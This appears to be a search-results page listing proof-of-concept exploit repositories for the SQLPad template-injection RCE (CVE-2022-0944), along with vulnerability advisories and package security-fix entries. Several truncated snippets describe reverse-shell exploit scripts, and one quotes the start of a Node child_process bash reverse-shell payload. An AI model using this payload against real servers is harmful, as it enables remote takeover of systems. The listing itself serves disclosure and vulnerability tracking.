128 matches found
CVE-2022-0944
CVE-2022-0944 SQLPad - Template injection This is a blind vulnerability, meaning that the output is directly returned in the response. Exploit Use the script with the following command: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password passwo...
CVE-2022-0944
CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...
CVE-2022-0944
CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username option...
sqlpad-rce-exploit-CVE-2022-0944
SQLPad RCE Exploit This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution RCE via the /api/test-connection endpoint. Overview The provided script exploit.py demonstrates how to exploit the RCE vulnerability in SQLPad. The scri...
CVE-2022-0944_RCE_POC
CVE-2022-0944 Proof of concept exploit for SQLPad RCE CVE-2022-0944 leading to a RCE with a revershell to the attackers PC. Usage root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell...
SQLPad-RCE-Exploit-CVE-2022-0944
How It Works: This PHP code is designed to exploit a Remote Code Execution RCE vulnerability in SQLPad , related to CVE-2022-0944. It works by injecting malicious code into the SQLPad application, forcing it to execute a system command that opens a reverse shell – a connection that grants the...
GHSA-RGWJ-5XJ2-C3M3 vulnerabilities
Vulnerabilities for packages: sqlpad...
GHSA-6GMQ-8VP8-GCM6 vulnerabilities
Vulnerabilities for packages: sqlpad...
CVE-2026-83610 vulnerabilities
Vulnerabilities for packages: sqlpad...
SQLPad-6.10.0-Exploit-CVE-2022-0944
SQLPad 6.10.0 Exploit CVE-2022-0944 This Bash script exploits an RCE vulnerability in SQLPad 6.10.0, allowing an attacker to achieve remote code execution RCE by abusing the host and database fields in SQLPad’s MySQL database connection settings. The exploit leverages SQLPad’s unsanitized handlin...
GHSA-3F6P-5WW8-9RCR vulnerabilities
Vulnerabilities for packages: azurite, sqlpad...
GHSA-3F6P-5WW8-9RCR vulnerabilities
Vulnerabilities for packages: sqlpad...
GO-2024-2918 vulnerabilities
Vulnerabilities for packages: py3-azure-identity, goreleaser, harbor-registry, grafana-mimir, bank-vaults, opentelemetry-collector-contrib, py3-cassandra-medusa, falcoctl, up, tekton-chains, sqlpad, kubescape, buildkitd, tempo, trino, grafana-agent-operator, thanos, guac, cosign, step, terragrunt...
CLEANSTART-2026-OX91928 Security fixes in sqlpad 7.5.7-r5
Package sqlpad version 7.5.7-r5 fixes 1 vulnerabilities: ghsa-r292-9mhp-454m...
CLEANSTART-2026-AG43501 Security fixes in sqlpad 7.5.7-r2
Package sqlpad version 7.5.7-r2 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-VJ19248 Security fixes in sqlpad 7.5.7-r3
Package sqlpad version 7.5.7-r3 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-PY70964 Security fixes in sqlpad 7.5.7-r4
Package sqlpad version 7.5.7-r4 fixes 2 vulnerabilities: ghsa-v422-hmwv-36x6, CVE-2026-12590...
GHSA-5P4M-2WFM-XMQJ vulnerabilities
Vulnerabilities for packages: mongod, authentik-fips, unleash, redisinsight, vitess, code-server, kibana, prism, foxx-cli, gitlab-rails-ce-fips, opensearch-dashboards-fips, langfuse-fips, ts-patch, renovate, lerna, langfuse, unleash-fips, arangodb, awx, authentik, gitlab-rails-ce, wazuh-dashboard...